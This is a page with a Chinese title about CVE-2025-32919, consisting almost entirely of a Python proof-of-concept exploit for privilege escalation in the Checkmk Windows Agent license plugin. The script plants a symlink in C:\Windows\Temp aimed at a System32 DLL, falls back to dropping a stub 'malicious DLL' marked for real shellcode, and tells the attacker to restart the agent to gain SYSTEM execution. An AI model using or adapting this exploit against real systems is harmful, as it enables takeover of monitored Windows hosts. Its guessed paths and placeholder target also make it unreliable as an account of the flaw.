CVE-2025-32919 Checkmk Windows Agent许可证插件权限提升漏洞

# CVE-2025-32919 - Checkmk Windows Agent License Plugin Privilege Escalation PoC # Vulnerability: Insecure temporary directory usage in Windows License plugin # Attack Vector: Symlink attack on predictable temp directory import os import sys import tempfile from pathlib import Path # Step 1: Identify the insecure temporary directory used by Checkmk Agent # The License plugin typically uses C:\Windows\Temp or a predictable path TEMP_DIR = r"C:\Windows\Temp" TARGET_FILE = os.path.join(TEMP_DIR, "checkmk_license.tmp") # Step 2: Create a symlink pointing to a privileged location # This is the core of the symlink attack def create_symlink_attack(): """ Create a symbolic link in the temp directory pointing to a system file we want to overwrite with SYSTEM privileges. """ # Target: a system DLL or executable that will be overwritten # when the Checkmk Agent writes to the temp file privileged_target = r"C:\Windows\System32\target_service.dll" try: # Remove existing file/link if present if os.path.exists(TARGET_FILE) or os.path.islink(TARGET_FILE): os.remove(TARGET_FILE) # Create symlink (requires Developer Mode or admin for non-admin users) os.symlink(privileged_target, TARGET_FILE) print(f"[+] Symlink created: {TARGET_FILE} -> {privileged_target}") except OSError as e: print(f"[-] Symlink creation failed: {e}") print("[*] Falling back to file replacement method...") # Alternative: place malicious DLL directly in temp directory place_malicious_dll() def place_malicious_dll(): """ Place a malicious DLL in the temp directory for DLL hijacking. """ malicious_dll = os.path.join(TEMP_DIR, "license_helper.dll") # Write a malicious DLL payload here # When Checkmk Agent loads this DLL, it executes with SYSTEM privileges payload = b"MZ\x90\x00" # PE header stub - replace with actual shellcode with open(malicious_dll, "wb") as f: f.write(payload) print(f"[+] Malicious DLL placed at: {malicious_dll}") # Step 3: Wait for Checkmk Agent to execute and trigger the vulnerability def wait_for_agent_execution(): """ Monitor the temp directory for the agent's file operations. The agent typically runs periodically or on service start. """ print("[*] Waiting for Checkmk Agent execution...") print("[*] Trigger: Restart the Checkmk Agent service or wait for scheduled run") # In a real attack, you would: # 1. Restart the Checkmk Windows Agent service # 2. Or wait for the agent's scheduled execution # 3. The agent will write to the temp file, following our symlink # 4. SYSTEM-level code execution achieved if __name__ == "__main__": print("=" * 60) print("CVE-2025-32919 - Checkmk Agent Privilege Escalation PoC") print("=" * 60) create_symlink_attack() wait_for_agent_execution()